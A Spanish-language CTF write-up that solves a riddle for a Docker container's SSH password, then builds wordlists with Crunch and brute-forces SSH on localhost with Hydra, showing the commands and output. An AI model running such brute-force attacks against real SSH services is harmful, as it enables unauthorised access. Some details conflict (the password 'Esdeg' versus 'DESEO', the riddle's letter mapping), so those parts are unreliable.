RETO CTF: ACCESO POR SSH EN CONTENEDOR UBUNTU – USUARIO LEGION

1. Resumen del Escenario

Este ejercicio propone un reto CTF (Capture The Flag) de carácter individual, desplegado en un entorno Docker que ejecuta una instancia de Ubuntu con el servicio SSH habilitado. Dentro del sistema se encuentra el usuario legion, cuya contraseña representa el núcleo del desafío. Una vez descubierta, esta clave permite autenticarse por SSH y acceder a la bandera (flag).

Objetivos del reto:

- Interpretar un acertijo que contiene pistas para deducir la contraseña.
- Validar el acceso mediante una sesión SSH.
- Emplear herramientas como **Crunch** e **Hydra** para realizar ataques de diccionario.
- Documentar el procedimiento de conexión al contenedor Docker.

2. Resolución del Acertijo

Acertijo:

Cinco guardianes vigilantes, cada uno con su inicial, la primera se esconde en “estrella”,
la segunda en la “selva” tropical, tercera y cuarta van seguidas,
ambas en “dedo” se dejan hallar, la última es misteriosa, y en “gato” suena al final.
Juntas caminan siempre en fila.

Análisis:

Posición	Pista	Letra identificada
1	Presente en “estrella”	E
2	Oculta en “selva” tropical	s
3 y 4	Consecutivas en “dedo”	d, e
5	Suena al final de “gato”	g

Contraseña sugerida: Esdeg

3. Uso de Crunch

Generación de Diccionario con Crunch

Crunch permite crear diccionarios personalizados para ataques de fuerza bruta. Algunas formas de uso para este reto:

- Generar una palabra exacta de 5 caracteres:

bash
CopiarEditar
crunch 5 5 -t @@DEO -o dict2.txt

- Crear un diccionario basado en combinaciones de letras alfabéticas:

  bash
  CopiarEditar
  crunch 5 5 -o posibles.txt -f /usr/share/crunch/charset.lst alpha -t %%@@@

```
└─$ crunch 5 5 sdeg -t E@@@@ -o dicc3.txt
Crunch will now generate the following amount of data: 1536 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 256

crunch: 100% completed generating output
```

4. Ataque de Fuerza Bruta con Hydra

Para probar las combinaciones generadas y encontrar la contraseña del usuario legion:

bash
CopiarEditar
hydra -l legion -P posibles.txt ssh://localhost -s 2222

Explicación de los parámetros:

- -l legion: Usuario objetivo.
- -P posibles.txt: Archivo con contraseñas.
- ssh://localhost: Servicio SSH en el host local.
- -s 2222: Puerto expuesto del contenedor Docker.

```
┌──(jarvis㉿Jarvis)-[~/Documents/retoctf]
└─$ hydra -l legion -P dicc3.txt ssh://127.0.0.1:2222 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
 secret service organizations, or for illegal purposes (this is non-binding, these *** ig
nore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-21 15:09:12
[DATA] max 4 tasks per 1 server, overall 4 tasks, 256 login tries (l:1/p:256), ~64 tries
per task
[DATA] attacking ssh://127.0.0.1:2222/
[2222][ssh] host: 127.0.0.1   login: legion   password: Esdeg
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-21 15:09:14
```

5. Acceso SSH Exitoso

Una vez determinada la contraseña correcta (por ejemplo, DESEO), se accede al sistema de la siguiente manera:

bash
CopiarEditar
ssh legion@localhost -p 2222